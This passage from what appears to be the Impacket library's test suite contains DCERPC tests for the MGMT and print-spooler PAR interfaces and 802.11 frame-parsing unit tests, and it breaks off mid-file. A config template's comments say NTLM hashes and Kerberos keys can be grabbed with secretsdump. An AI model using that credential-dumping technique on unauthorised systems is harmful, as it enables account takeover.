/tests/dcerpc/test_mgmt.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Tested so far: 12 | # (h)inq_if_ids 13 | # (h)inq_stats 14 | # (h)is_server_listening 15 | # (h)stop_server_listening 16 | # (h)inq_princ_name 17 | # 18 | from __future__ import division 19 | from __future__ import print_function 20 | import pytest 21 | import unittest 22 | from six import assertRaisesRegex 23 | from tests.dcerpc import DCERPCTests 24 | 25 | from impacket.dcerpc.v5 import mgmt 26 | from impacket.dcerpc.v5.rpcrt import DCERPCException 27 | 28 | 29 | class MGMTTests(DCERPCTests): 30 | iface_uuid = mgmt.MSRPC_UUID_MGMT 31 | string_binding = r"ncacn_np:{0.machine}[\pipe\epmapper]" 32 | authn = True 33 | 34 | def test_inq_if_ids(self): 35 | dce, transport = self.connect() 36 | 37 | request = mgmt.inq_if_ids() 38 | resp = dce.request(request) 39 | resp.dump() 40 | #for i in range(resp['if_id_vector']['count']): 41 | # print bin_to_uuidtup(resp['if_id_vector']['if_id'][i]['Data'].getData()) 42 | # print 43 | 44 | def test_hinq_if_ids(self): 45 | dce, transport = self.connect() 46 | 47 | resp = mgmt.hinq_if_ids(dce) 48 | resp.dump() 49 | 50 | def test_inq_stats(self): 51 | dce, transport = self.connect() 52 | 53 | request = mgmt.inq_stats() 54 | request['count'] = 40 55 | resp = dce.request(request) 56 | resp.dump() 57 | 58 | def test_hinq_stats(self): 59 | dce, transport = self.connect() 60 | 61 | resp = mgmt.hinq_stats(dce) 62 | resp.dump() 63 | 64 | def test_is_server_listening(self): 65 | dce, transport = self.connect() 66 | 67 | request = mgmt.is_server_listening() 68 | resp = dce.request(request, checkError=False) 69 | resp.dump() 70 | 71 | def test_his_server_listening(self): 72 | dce, transport = self.connect() 73 | 74 | resp = mgmt.his_server_listening(dce) 75 | resp.dump() 76 | 77 | def test_stop_server_listening(self): 78 | dce, transport = self.connect() 79 | 80 | request = mgmt.stop_server_listening() 81 | with assertRaisesRegex(self, DCERPCException, "rpc_s_access_denied"): 82 | dce.request(request) 83 | 84 | def test_hstop_server_listening(self): 85 | dce, transport = self.connect() 86 | 87 | with assertRaisesRegex(self, DCERPCException, "rpc_s_access_denied"): 88 | mgmt.hstop_server_listening(dce) 89 | 90 | def test_inq_princ_name(self): 91 | dce, transport = self.connect() 92 | 93 | request = mgmt.inq_princ_name() 94 | request['authn_proto'] = 0 95 | request['princ_name_size'] = 32 96 | resp = dce.request(request, checkError=False) 97 | resp.dump() 98 | 99 | def test_hinq_princ_name(self): 100 | dce, transport = self.connect() 101 | 102 | resp = mgmt.hinq_princ_name(dce) 103 | resp.dump() 104 | 105 | 106 | @pytest.mark.remote 107 | class MGMTTestsSMBTransport(MGMTTests, unittest.TestCase): 108 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR 109 | 110 | 111 | @pytest.mark.remote 112 | class MGMTTestsSMBTransport64(MGMTTests, unittest.TestCase): 113 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 114 | 115 | 116 | @pytest.mark.remote 117 | class MGMTTestsTCPTransport(MGMTTests, unittest.TestCase): 118 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR 119 | string_binding = r"ncacn_ip_tcp:{0.machine}[135]" 120 | 121 | 122 | @pytest.mark.remote 123 | class MGMTTestsTCPTransport64(MGMTTests, unittest.TestCase): 124 | string_binding = r"ncacn_ip_tcp:{0.machine}[135]" 125 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 126 | 127 | 128 | # Process command-line arguments. 129 | if __name__ == "__main__": 130 | unittest.main(verbosity=1) 131 | -------------------------------------------------------------------------------- /tests/dcerpc/test_par.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright Fortra, LLC and its affiliated companies 4 | # 5 | # All rights reserved. 6 | # 7 | # This software is provided under a slightly modified version 8 | # of the Apache Software License. See the accompanying LICENSE file 9 | # for more information. 10 | # 11 | # Tested so far: 12 | # (h)RpcAsyncEnumPrinters 13 | # (h)RpcAsyncEnumPrinterDrivers 14 | # (h)RpcAsyncGetPrinterDriverDirectory 15 | # 16 | # Not yet: 17 | # (h)RpcAsyncOpenPrinter 18 | # (h)RpcAsyncClosePrinter 19 | # (h)RpcAsyncAddPrinterDriver 20 | # RpcAsyncAddPrinter 21 | # 22 | import pytest 23 | import unittest 24 | from six import assertRaisesRegex 25 | from tests.dcerpc import DCERPCTests 26 | 27 | from impacket.dcerpc.v5 import par 28 | from impacket.dcerpc.v5.dtypes import NULL 29 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY 30 | 31 | 32 | class PARTests(DCERPCTests): 33 | iface_uuid = par.MSRPC_UUID_PAR 34 | string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER 35 | authn = True 36 | authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY 37 | 38 | def test_RpcAsyncEnumPrinters(self): 39 | dce, rpc_transport = self.connect() 40 | request = par.RpcAsyncEnumPrinters() 41 | request['Flags'] = 0 42 | request['Name'] = NULL 43 | request['pPrinterEnum'] = NULL 44 | request['Level'] = 0 45 | resp = dce.request(request, par.MSRPC_UUID_WINSPOOL) 46 | resp.dump() 47 | 48 | def test_hRpcAsyncEnumPrinters(self): 49 | dce, rpc_transport = self.connect() 50 | resp = par.hRpcAsyncEnumPrinters(dce, NULL) 51 | resp.dump() 52 | 53 | def test_RpcAsyncEnumPrinterDrivers(self): 54 | dce, rpc_transport = self.connect() 55 | request = par.RpcAsyncEnumPrinterDrivers() 56 | request['pName'] = NULL 57 | request['pEnvironment'] = NULL 58 | request['Level'] = 1 59 | request['pDrivers'] = NULL 60 | request['cbBuf'] = 0 61 | with assertRaisesRegex(self, par.DCERPCException, "ERROR_INSUFFICIENT_BUFFER"): 62 | dce.request(request, par.MSRPC_UUID_WINSPOOL) 63 | 64 | def test_hRpcAsyncEnumPrinterDrivers(self): 65 | dce, rpc_transport = self.connect() 66 | resp = par.hRpcAsyncEnumPrinterDrivers(dce, NULL, NULL, 1) 67 | resp.dump() 68 | 69 | def test_RpcAsyncGetPrinterDriverDirectory(self): 70 | dce, rpc_transport = self.connect() 71 | request = par.RpcAsyncGetPrinterDriverDirectory() 72 | request['pName'] = NULL 73 | request['pEnvironment'] = NULL 74 | request['Level'] = 1 75 | request['pDriverDirectory'] = NULL 76 | request['cbBuf'] = 0 77 | with assertRaisesRegex(self, par.DCERPCException, "ERROR_INSUFFICIENT_BUFFER"): 78 | dce.request(request, par.MSRPC_UUID_WINSPOOL) 79 | 80 | def test_hRpcAsyncGetPrinterDriverDirectory(self): 81 | dce, rpc_transport = self.connect() 82 | resp = par.hRpcAsyncGetPrinterDriverDirectory(dce, NULL, NULL, 1) 83 | resp.dump() 84 | 85 | 86 | @pytest.mark.remote 87 | class PARTestsTCPTransport(PARTests, unittest.TestCase): 88 | protocol = "ncacn_ip_tcp" 89 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR 90 | 91 | 92 | @pytest.mark.remote 93 | class PARTestsTCPTransport64(PARTests, unittest.TestCase): 94 | protocol = "ncacn_ip_tcp" 95 | transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 96 | 97 | 98 | # Process command-line arguments. 99 | if __name__ == "__main__": 100 | unittest.main(verbosity=1) 101 | -------------------------------------------------------------------------------- /tests/dcetests.cfg.template: -------------------------------------------------------------------------------- 1 | [global] 2 | 3 | [TCPTransport] 4 | # NetBIOS Name 5 | servername = 6 | # Targets IP 7 | machine = 8 | username = 9 | password = 10 | # NTLM Hash, you can grab it with secretsdump 11 | hashes = 12 | # Kerberos AES 256 Key, you can grab it with secretsdump 13 | aesKey256 = 14 | # Kerberos AES 128 Key, you can grab it with secretsdump 15 | aesKey128 = 16 | # It must be the domain FQDN 17 | domain = 18 | # This need to be a domain joined machine NetBIOS name 19 | machineuser = 20 | # Domain joined machine NetBIOS name hashes (grab them with secretsdump) 21 | machineuserhashes = 22 | -------------------------------------------------------------------------------- /tests/dot11/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright Fortra, LLC and its affiliated companies 3 | # 4 | # All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | -------------------------------------------------------------------------------- /tests/dot11/test_Dot11Base.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | import unittest 13 | from impacket.dot11 import Dot11, Dot11Types 14 | 15 | 16 | class TestDot11Common(unittest.TestCase): 17 | 18 | def setUp(self): 19 | # Frame control field 20 | a=b'\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e' 21 | self.dot11fc=Dot11(a) 22 | 23 | def test_01_HeaderSize(self): 24 | 'Test Header Size field' 25 | self.assertEqual(self.dot11fc.get_header_size(), 2) 26 | 27 | def test_01_TailSize(self): 28 | 'Test Tail Size field' 29 | self.assertEqual(self.dot11fc.get_tail_size(), 4) 30 | 31 | def test_02_Version(self): 32 | 'Test Version field' 33 | self.assertEqual(self.dot11fc.get_version(), 0) 34 | self.dot11fc.set_version(3) 35 | self.assertEqual(self.dot11fc.get_version(), 3) 36 | 37 | def test_03_Type(self): 38 | 'Test Type field' 39 | self.assertEqual(self.dot11fc.get_type(), 1) 40 | self.dot11fc.set_type(3) 41 | self.assertEqual(self.dot11fc.get_type(), 3) 42 | 43 | def test_04_SubType(self): 44 | 'Test Subtype field' 45 | self.assertEqual(self.dot11fc.get_subtype(),13) 46 | self.dot11fc.set_subtype(5) 47 | self.assertEqual(self.dot11fc.get_subtype(),5) 48 | 49 | def test_05_ToDS(self): 50 | 'Test toDS field' 51 | self.assertEqual(self.dot11fc.get_toDS(),0) 52 | self.dot11fc.set_toDS(1) 53 | self.assertEqual(self.dot11fc.get_toDS(),1) 54 | 55 | def test_06_FromDS(self): 56 | 'Test fromDS field' 57 | self.assertEqual(self.dot11fc.get_fromDS(),0) 58 | self.dot11fc.set_fromDS(1) 59 | self.assertEqual(self.dot11fc.get_fromDS(),1) 60 | 61 | def test_07_MoreFrag(self): 62 | 'Test More Frag field' 63 | self.assertEqual(self.dot11fc.get_moreFrag(),0) 64 | self.dot11fc.set_moreFrag(1) 65 | self.assertEqual(self.dot11fc.get_moreFrag(),1) 66 | 67 | def test_08_Retry(self): 68 | 'Test Retry field' 69 | self.assertEqual(self.dot11fc.get_retry(),0) 70 | self.dot11fc.set_retry(1) 71 | self.assertEqual(self.dot11fc.get_retry(),1) 72 | 73 | def test_09_PowerManagement(self): 74 | 'Test Power Management field' 75 | self.assertEqual(self.dot11fc.get_powerManagement(),0) 76 | self.dot11fc.set_powerManagement(1) 77 | self.assertEqual(self.dot11fc.get_powerManagement(),1) 78 | 79 | def test_10_MoreData(self): 80 | 'Test More Data field' 81 | self.assertEqual(self.dot11fc.get_moreData(),0) 82 | self.dot11fc.set_moreData(1) 83 | self.assertEqual(self.dot11fc.get_moreData(),1) 84 | 85 | # def test_11_WEP(self): 86 | # 'Test WEP field' 87 | # self.assertEqual(self.dot11fc.get_WEP(),0) 88 | # self.dot11fc.set_WEP(1) 89 | # self.assertEqual(self.dot11fc.get_WEP(),1) 90 | 91 | 92 | def test_12_Order(self): 93 | 'Test Order field' 94 | self.assertEqual(self.dot11fc.get_order(),0) 95 | self.dot11fc.set_order(1) 96 | self.assertEqual(self.dot11fc.get_order(),1) 97 | 98 | def test_13_latest(self): 99 | 'Test complete frame hexs' 100 | self.dot11fc.set_type_n_subtype(Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL) 101 | self.dot11fc.set_order(1) 102 | self.dot11fc.set_moreData(1) 103 | self.dot11fc.set_retry(1) 104 | self.dot11fc.set_fromDS(1) 105 | 106 | frame=self.dot11fc.get_packet() 107 | 108 | self.assertEqual(frame, b'\xa4\xaa\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e') 109 | 110 | 111 | if __name__ == '__main__': 112 | unittest.main(verbosity=1) 113 | -------------------------------------------------------------------------------- /tests/dot11/test_Dot11Decoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | import unittest 13 | from six import PY2 14 | from impacket.ImpactDecoder import Dot11Decoder #,Dot11Types 15 | 16 | 17 | class TestDot11Decoder(unittest.TestCase): 18 | 19 | def setUp(self): 20 | self.WEPKey=None #Unknown 21 | self.WEPData=b'\x08\x41\x3a\x01\x00\x17\x3f\x44\x4f\x96\x00\x13\xce\x67\x0e\x73\x00\x17\x3f\x44\x4f\x96\xb0\x04\xeb\xcd\x8b\x00\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17\xdd\xb5\xd4\x35' 22 | dot11_decoder = Dot11Decoder() 23 | self.in0=dot11_decoder.decode(self.WEPData) 24 | self.in1=self.in0.child() 25 | self.in2=self.in1.child() 26 | self.in3=self.in2.child() 27 | if self.WEPKey: 28 | self.in4=self.in3.child() 29 | self.in5=self.in4.child() 30 | 31 | def test_01_Dot11Decoder(self): 32 | 'Test Dot11 decoder' 33 | if PY2: 34 | self.assertEqual(str(self.in0.__class__), "impacket.dot11.Dot11") 35 | else: 36 | self.assertEqual(str(self.in0.__class__), "") 37 | 38 | def test_02_Dot11DataFrameDecoder(self): 39 | 'Test Dot11DataFrame decoder' 40 | if PY2: 41 | self.assertEqual(str(self.in1.__class__), "impacket.dot11.Dot11DataFrame") 42 | else: 43 | self.assertEqual(str(self.in1.__class__), "") 44 | 45 | def test_03_Dot11WEP(self): 46 | 'Test Dot11WEP decoder' 47 | if PY2: 48 | self.assertEqual(str(self.in2.__class__), "impacket.dot11.Dot11WEP") 49 | else: 50 | self.assertEqual(str(self.in2.__class__), "") 51 | 52 | def test_04_Dot11WEPData(self): 53 | 'Test Dot11WEPData decoder' 54 | 55 | if not self.WEPKey: 56 | return 57 | 58 | self.assertEqual(str(self.in3.__class__), "impacket.dot11.Dot11WEPData") 59 | 60 | # Test if wep data "get_packet" is correct 61 | wepdata=b'\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17' 62 | self.assertEqual(self.in3.get_packet(), wepdata) 63 | 64 | def test_05_LLC(self): 65 | 'Test LLC decoder' 66 | if self.WEPKey: 67 | self.assertEqual(str(self.in4.__class__), "impacket.dot11.LLC") 68 | 69 | def test_06_Data(self): 70 | 'Test LLC Data decoder' 71 | 72 | if self.WEPKey: 73 | dataclass=self.in4.__class__ 74 | else: 75 | dataclass=self.in3.__class__ 76 | 77 | self.assertGreater(str(dataclass).find('ImpactPacket.Data'), 0) 78 | 79 | 80 | if __name__ == '__main__': 81 | unittest.main(verbosity=1) 82 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlACK.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | import unittest 13 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameACK 14 | 15 | 16 | class TestDot11FrameControlACK(unittest.TestCase): 17 | 18 | def setUp(self): 19 | # 802.11 Control Frame ACK 20 | self.frame_orig=b'\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e' 21 | 22 | d = Dot11(self.frame_orig) 23 | 24 | type = d.get_type() 25 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 26 | 27 | subtype = d.get_subtype() 28 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT) 29 | 30 | typesubtype = d.get_type_n_subtype() 31 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_ACKNOWLEDGMENT) 32 | 33 | self.ack = Dot11ControlFrameACK(d.get_body_as_string()) 34 | 35 | d.contains(self.ack) 36 | 37 | def test_01_HeaderTailSize(self): 38 | 'Test Header and Tail Size field' 39 | self.assertEqual(self.ack.get_header_size(), 8) 40 | self.assertEqual(self.ack.get_tail_size(), 0) 41 | 42 | def test_02_Duration(self): 43 | 'Test Duration field' 44 | 45 | self.assertEqual(self.ack.get_duration(), 0) 46 | self.ack.set_duration(0x1234) 47 | self.assertEqual(self.ack.get_duration(), 0x1234) 48 | 49 | def test_03_RA(self): 50 | 'Test RA field' 51 | 52 | ra=self.ack.get_ra() 53 | self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 54 | ra[0]=0x12 55 | ra[5]=0x34 56 | self.ack.set_ra(ra) 57 | self.assertEqual(self.ack.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 58 | 59 | 60 | if __name__ == '__main__': 61 | unittest.main(verbosity=1) 62 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlCFEnd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | import unittest 13 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEnd 14 | 15 | 16 | class TestDot11FrameControlCFEnd(unittest.TestCase): 17 | 18 | def setUp(self): 19 | # 802.11 Control Frame CFEnd 20 | self.frame_orig=b'\xe4\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x19\xe0\x98\x04\xd4\xad\x9c\x3c\xc0' 21 | 22 | d = Dot11(self.frame_orig) 23 | 24 | type = d.get_type() 25 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 26 | 27 | subtype = d.get_subtype() 28 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END) 29 | 30 | typesubtype = d.get_type_n_subtype() 31 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END) 32 | 33 | self.cfend = Dot11ControlFrameCFEnd(d.get_body_as_string()) 34 | 35 | d.contains(self.cfend) 36 | 37 | def test_01_HeaderTailSize(self): 38 | 'Test Header and Tail Size field' 39 | self.assertEqual(self.cfend.get_header_size(), 14) 40 | self.assertEqual(self.cfend.get_tail_size(), 0) 41 | 42 | def test_02_Duration(self): 43 | 'Test Duration field' 44 | 45 | self.assertEqual(self.cfend.get_duration(), 0x00) 46 | self.cfend.set_duration(0x1234) 47 | self.assertEqual(self.cfend.get_duration(), 0x1234) 48 | 49 | def test_03_RA(self): 50 | 'Test RA field' 51 | 52 | ra=self.cfend.get_ra() 53 | self.assertEqual(ra.tolist(), [0xff,0xff,0xff,0xff,0xff,0xff]) 54 | ra[0]=0x12 55 | ra[5]=0x34 56 | self.cfend.set_ra(ra) 57 | self.assertEqual(self.cfend.get_ra().tolist(), [0x12,0xff,0xff,0xff,0xff,0x34]) 58 | 59 | def test_04_BSSID(self): 60 | 'Test BSS ID field' 61 | 62 | bssid=self.cfend.get_bssid() 63 | self.assertEqual(bssid.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4]) 64 | bssid[0]=0x12 65 | bssid[5]=0x34 66 | self.cfend.set_bssid(bssid) 67 | self.assertEqual(self.cfend.get_bssid().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34]) 68 | 69 | 70 | if __name__ == '__main__': 71 | unittest.main(verbosity=1) 72 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlCFEndCFACK.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | import unittest 13 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEndCFACK 14 | 15 | 16 | class TestDot11FrameControlCFEndCFACK(unittest.TestCase): 17 | 18 | def setUp(self): 19 | # 802.11 Control Frame CFEndCFACK 20 | self.frame_orig=b'\xf4\x74\xde\xed\xe5\x56\x85\xf8\xd2\x3b\x96\xae\x0f\xb0\xd9\x8a\x03\x02\x38\x00' 21 | 22 | d = Dot11(self.frame_orig) 23 | 24 | type = d.get_type() 25 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 26 | 27 | subtype = d.get_subtype() 28 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK) 29 | 30 | typesubtype = d.get_type_n_subtype() 31 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END_CF_ACK) 32 | 33 | self.cfendcfack = Dot11ControlFrameCFEndCFACK(d.get_body_as_string()) 34 | 35 | d.contains(self.cfendcfack) 36 | 37 | def test_01_HeaderTailSize(self): 38 | 'Test Header and Tail Size field' 39 | self.assertEqual(self.cfendcfack.get_header_size(), 14) 40 | self.assertEqual(self.cfendcfack.get_tail_size(), 0) 41 | 42 | def test_02_Duration(self): 43 | 'Test Duration field' 44 | 45 | self.assertEqual(self.cfendcfack.get_duration(), 0xEDDE) 46 | self.cfendcfack.set_duration(0x1234) 47 | self.assertEqual(self.cfendcfack.get_duration(), 0x1234) 48 | 49 | def test_03_RA(self): 50 | 'Test RA field' 51 | 52 | ra=self.cfendcfack.get_ra() 53 | self.assertEqual(ra.tolist(), [0xe5,0x56,0x85,0xf8,0xd2,0x3b]) 54 | ra[0]=0x12 55 | ra[5]=0x34 56 | self.cfendcfack.set_ra(ra) 57 | self.assertEqual(self.cfendcfack.get_ra().tolist(), [0x12,0x56,0x85,0xf8,0xd2,0x34]) 58 | 59 | def test_04_BSSID(self): 60 | 'Test BSS ID field' 61 | 62 | bssid=self.cfendcfack.get_bssid() 63 | self.assertEqual(bssid.tolist(), [0x96,0xae,0x0f,0xb0,0xd9,0x8a]) 64 | bssid[0]=0x12 65 | bssid[5]=0x34 66 | self.cfendcfack.set_bssid(bssid) 67 | self.assertEqual(self.cfendcfack.get_bssid().tolist(), [0x12,0xae,0x0f,0xb0,0xd9,0x34]) 68 | 69 | 70 | if __name__ == '__main__': 71 | unittest.main(verbosity=1) 72 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlCTS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | import unittest 13 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCTS 14 | 15 | 16 | class TestDot11FrameControlCTS(unittest.TestCase): 17 | 18 | def setUp(self): 19 | # 802.11 Control Frame CTS 20 | self.frame_orig=b'\xc4\x00\x3b\x12\x00\x19\xe0\x98\x04\xd4\x2b\x8a\x65\x17' 21 | 22 | d = Dot11(self.frame_orig) 23 | 24 | type = d.get_type() 25 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 26 | 27 | subtype = d.get_subtype() 28 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND) 29 | 30 | typesubtype = d.get_type_n_subtype() 31 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CLEAR_TO_SEND) 32 | 33 | self.cts = Dot11ControlFrameCTS(d.get_body_as_string()) 34 | 35 | d.contains(self.cts) 36 | 37 | def test_01_HeaderTailSize(self): 38 | 'Test Header and Tail Size field' 39 | self.assertEqual(self.cts.get_header_size(), 8) 40 | self.assertEqual(self.cts.get_tail_size(), 0) 41 | 42 | def test_02_Duration(self): 43 | 'Test Duration field' 44 | 45 | self.assertEqual(self.cts.get_duration(), 4667) 46 | self.cts.set_duration(0x1234) 47 | self.assertEqual(self.cts.get_duration(), 0x1234) 48 | 49 | def test_03_RA(self): 50 | 'Test RA field' 51 | 52 | ra=self.cts.get_ra() 53 | 54 | self.assertEqual(ra.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4]) 55 | ra[0]=0x12 56 | ra[5]=0x34 57 | self.cts.set_ra(ra) 58 | self.assertEqual(self.cts.get_ra().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34]) 59 | 60 | 61 | if __name__ == '__main__': 62 | unittest.main(verbosity=1) 63 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlPSPoll.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | import unittest 13 | from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFramePSPoll 14 | 15 | 16 | class TestDot11FrameControlPSPoll(unittest.TestCase): 17 | 18 | def setUp(self): 19 | # 802.11 Control Frame PSPoll 20 | self.frame_orig=b'\xa6\x73\xf1\xaf\x48\x06\xee\x23\x2b\xc9\xfe\xbe\xe5\x05\x4c\x0a\x04\xa0\x00\x0f' 21 | 22 | d = Dot11(self.frame_orig) 23 | 24 | type = d.get_type() 25 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 26 | 27 | subtype = d.get_subtype() 28 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL) 29 | 30 | typesubtype = d.get_type_n_subtype() 31 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL) 32 | 33 | self.pspoll = Dot11ControlFramePSPoll(d.get_body_as_string()) 34 | 35 | d.contains(self.pspoll) 36 | 37 | def test_01_HeaderTailSize(self): 38 | 'Test Header and Tail Size field' 39 | self.assertEqual(self.pspoll.get_header_size(), 14) 40 | self.assertEqual(self.pspoll.get_tail_size(), 0) 41 | 42 | def test_02_AID(self): 43 | 'Test AID field' 44 | 45 | self.assertEqual(self.pspoll.get_aid(), 0xAFF1) 46 | self.pspoll.set_aid(0x1234) 47 | self.assertEqual(self.pspoll.get_aid(), 0x1234) 48 | 49 | def test_03_BSSID(self): 50 | 'Test BSS ID field' 51 | 52 | bssid=self.pspoll.get_bssid() 53 | self.assertEqual(bssid.tolist(), [0x48,0x06,0xee,0x23,0x2b,0xc9]) 54 | bssid[0]=0x12 55 | bssid[5]=0x34 56 | self.pspoll.set_bssid(bssid) 57 | self.assertEqual(self.pspoll.get_bssid().tolist(), [0x12,0x06,0xee,0x23,0x2b,0x34]) 58 | 59 | def test_04_TA(self): 60 | 'Test TA field' 61 | 62 | ta=self.pspoll.get_ta() 63 | self.assertEqual(ta.tolist(), [0xfe,0xbe,0xe5,0x05,0x4c,0x0a]) 64 | ta[0]=0x12 65 | ta[5]=0x34 66 | self.pspoll.set_ta(ta) 67 | self.assertEqual(self.pspoll.get_ta().tolist(), [0x12,0xbe,0xe5,0x05,0x4c,0x34]) 68 | 69 | 70 | if __name__ == '__main__': 71 | unittest.main(verbosity=1) 72 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameControlRTS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | import unittest 13 | from impacket.dot11 import Dot11, Dot11Types, Dot11ControlFrameRTS 14 | 15 | 16 | class TestDot11FrameControlRTS(unittest.TestCase): 17 | 18 | def setUp(self): 19 | # 802.11 Control Frame RTS 20 | self.frame_orig=b'\xb4\x00\x81\x01\x00\x08\x54\xac\x2f\x85\x00\x23\x4d\x09\x86\xfe\x99\x75\x43\x73' 21 | 22 | d = 